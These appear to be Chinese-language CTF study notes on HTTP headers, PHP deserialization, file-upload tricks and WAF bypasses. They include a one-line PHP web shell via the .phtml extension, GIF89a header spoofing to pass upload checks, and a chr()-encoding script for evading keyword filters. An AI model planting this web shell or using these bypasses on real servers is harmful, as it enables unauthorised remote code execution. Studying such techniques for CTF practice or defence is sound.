总结
一、HTTP类
1. Referer
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,
告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
2. X-Forwarded-For
当今多数缓存服务器的使用者为大型ISP,为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。有些情况下, 这些代理服务器是透明代理, 用户甚至不知道自己正在使用代理上网。
如果没有XFF或者另外一种相似的技术,所有通过代理服务器的连接只会显示代理服务器的IP地址(而非连接发起的原始IP地址), 这样的代理服务器实际上充当了匿名服务提供者的角色, 如果连接的原始IP地址不可得,恶意访问的检测与预防的难度将大大增加。XFF的有效性依赖于代理服务器提供的连接原始IP地址的真实性,因此, XFF的有效使用应该保证代理服务器是可信的, 比如可以通过建立可信服务器白名单的方式。
这一HTTP头一般格式如下:
X-Forwarded-For: client1, proxy1, proxy2, proxy3
其中的值通过一个 逗号+空格 把多个IP地址区分开, 最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 在上面这个例子中,这个请求成功通过了三台代理服务器:proxy1, proxy2 及 proxy3。请求由client1发出,到达了proxy3(proxy3可能是请求的终点)。请求刚从client1中发出时,XFF是空的,请求被发往proxy1;通过proxy1的时候,client1被添加到XFF中,之后请求被发往proxy2;通过proxy2的时候,proxy1被添加到XFF中,之后请求被发往proxy3;通过proxy3时,proxy2被添加到XFF中,之后请求的的去向不明,如果proxy3不是请求终点,请求会被继续转发。
鉴于伪造这一字段非常容易,应该谨慎使用X-Forwarded-For字段。正常情况下XFF中最后一个IP地址是最后一个代理服务器的IP地址, 这通常是一个比较可靠的信息来源。
二、PHP类
1. 后缀phtml
phtml可以替代php
.phtml是PHP 2程序的标准文件扩展名。 .php3接管了PHP 3.当PHP 4出来时,他们切换到直接.php。
较旧的文件扩展名有时仍被使用,但并不常见。
.phtml文件告诉网络服务器,这些文件是由服务器生成的带有动态内容的html文件,就像浏览器中的.php文件表现一样。 因此,在高效使用中,您应该体验到.phtml与.php文件没有任何区别。
一句话木马格式:
<script language="php">eval($_POST['shell']);</script>
2. 输出内容的方法
echo
var_dump (调试时多使用,也可以输出内容)
3. 反序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
//global $flag;
echo "success!!!!";
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
$name=new Name("admin",100);
var_dump(serialize($name));
?>
序列化:serialize()
反序列化:unserialize()
TIPS:
public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00*\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置
绕过正则匹配,使用+号。 url编码为 %2b
__construct:构造方法,unserialize() 时不会直接调用
__destruct:析构方法:
__wakeup:执行unserialize() 时,会先调用这个函数
三、文件上传
1. 常见文件头
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638(GIF89a)
一般使用gif的文件头,因为他容易构造(不需要使用16进制修改),只需在文件头加上GIF89a
四、WAF绕过姿势
1. 变量前加空格
PHP在解析时,会将空格自动去除,但waf此时已经找不到对应的变量了,从而实现绕过
2. 关键字绕过
用char()转ascii再进行拼接
自动转chr脚本:
keyword=input("请输入需要转ASCII码的字符:")
result=[]
for i in range(0, len(keyword)):
print(keyword[i],"的ASCII码为:",ord(keyword[i]))
result.insert(i,"chr(%d"%(ord(keyword[i]))+")")
print("结果为:")
print(".".join(result))